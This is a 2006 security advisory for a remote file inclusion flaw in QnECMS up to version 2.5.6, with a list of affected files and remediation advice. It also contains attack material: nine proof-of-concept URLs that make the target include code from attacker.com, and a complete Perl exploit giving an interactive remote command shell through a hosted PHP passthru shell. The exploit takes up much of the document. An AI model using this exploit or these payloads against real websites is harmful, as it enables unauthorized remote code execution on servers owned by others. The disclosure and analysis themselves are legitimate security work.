[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Vulnerability
ECHO_ADV_53$2006
-----------------------------------------------------------------------------------------
[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion
Vulnerability
-----------------------------------------------------------------------------------------
Author : M.Hasran Addahroni
Date : Oct, 9th 2006
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv53-K-159-2006.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : QneCMS
version : <= 2.5.6
URL : http://www.qnecms.co.uk/
Description :
QnECMS is a Content Management System built with accessibility from the
ground-up,
making it the most standards compliant and accessible CMS on the market.
Compliance with World Wide Web Consortium (W3C) Web Content Accessibility
Guidelines
(WCAG)and standards The administration interface of QnECMS is compliant with
the World Wide Web Consortium's Web Accessibility Initiative (WAI) Guidelines.
The HTML code is XHTML 1 strict and much of the presentation is done using
Cascading Style Sheets (CSS). All field names and field controls are explicitly
linked.
---------------------------------------------------------------------------
Proof of Concept:
~~~~~~~~~~~~~~
Vulnerable Script admin/include/headerscripts.php .
---------------headerscripts.php--------------------------------
...
// check if ctype_digit is available
if (!function_exists('ctype_digit')) {
function ctype_digit($string) {
return ( is_numeric($string) && (strpos($string, '.') === false) );
}
}
// safehtmlchecker class by Simon Willison
include_once($adminfolderpath."/include/safehtmlchecker.class");
// check to see if there is a contentid appended to the url
...
------------------------------------------------------------------
Variables $adminfolderpath are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this
vulnerability with a simple php injection script.
also affected files:
admin/include/footerhome.php
admin/include/footermain.php
photogallery/headerscripts.php
templates/footerhome.php
templates/footermain.php
templates/headermain.php
templates/sitemapfooter.php
templates/sitemapheader.php
Poc/Exploit:
~~~~~~~~~~
http://www.target.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil?
http://www.target.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?
Solution:
~~~~~~~
- Sanitize variable $adminfolderpath on affected files.
- Turn off register_globals
Timeline :
~~~~~~~~~~
09 - 10 - 2006 bugs found
10 - 10 - 2006 vendor contacted
30 - 10 - 2006 public disclosure
---------------------------------------------------------------------------
Shoutz:
~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit, x16
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
Perl Exploit:
~~~~~~~~~~
#!/usr/bin/perl
##
# QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit
# Bug Found & code By K-159
##
# echo.or.id (c) 2006
#
##
# usage:
# perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>
#
# perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff
(y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan,
sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
#
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
print "[shell] \$";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'admin/include/headerscripts.php?adminfolderpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã.ª]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/:
Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No
Return\n\n"}
if($return =~ /(.*)/)
{
$finreturn = $1;
$finreturn=~ tr/[Ã.ª]/[\n]/;
print "\r\n$finreturn\n\r";
last;
}
else {print "[shell] \$";}}}last;
sub head()
{
print
"\n============================================================================\r\n";
print " *QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit*\r\n";
print
"============================================================================\r\n";
}
sub usage()
{
head();
print " Usage: perl QnECMs.pl <target> <cmd shell location> <cmd shell
variable>\r\n\n";
print " <Site> - Full path to QnECMs ex: http://www.site.com/ \r\n";
print " <cmd shell> - Path to cmd Shell e.g
http://www.different-site.com/cmd.txt \r\n";
print " <cmd variable> - Command variable used in php shell \r\n";
print
"============================================================================\r\n";
print " Bug Found by K-159 \r\n";
print " www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
print
"============================================================================\r\n";
exit();
}